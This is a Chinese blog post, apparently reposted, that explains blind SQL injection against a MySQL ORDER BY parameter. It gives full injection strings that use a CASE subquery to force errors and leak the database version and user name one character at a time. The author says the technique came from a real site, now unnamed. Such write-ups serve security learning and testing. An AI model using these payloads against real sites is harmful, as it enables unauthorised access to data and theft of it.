原文已经应要求删除了,后来想了想觉得我还是有必要记录一下的,只不过不再类似之前实战或现场直播带插图式,不提名挂号。更新一次博客不容易呀! 有个注入点接收如下几个参数: category=4&limit1=0&limit2=1&order=desc&orderColumn=1 根据这几个参数,大致就可以猜出SQL语句如下: SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0; 一般注入的时候都是用[category = 4 and where 1=2 union select …]或[limit 0,1 union select …]来改变结果集的,但从上面的SQL看来后者是不行的,因为在[order by]后面不能出现[union],而category参数也做了过滤,也就行不通了。 现在只能在orderColumn这个参数上下功夫了,它改变不了查询结果,但是可以想办法它查询成功或查询出错,这样就可以盲注了,这里参考了一下老君的文章: HdhCmsTest2cto测试数据/Article/201004/46707.html 然后开始拼装SQL: 查版本: category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1 查当前MySQL用户名长度: category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1 查当前MySQL用户名第一个字符内容: category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1 以此类推,什么库名,表明,字段,数据都能搞出来,只是手工盲注太累人了… 就这么着吧,不过感觉这东西还可以再深入研究。 http://HdhCmsTestineeke测试数据/
查看更多关于MySQL盲注 - 网站安全 - 自学php的详细内容...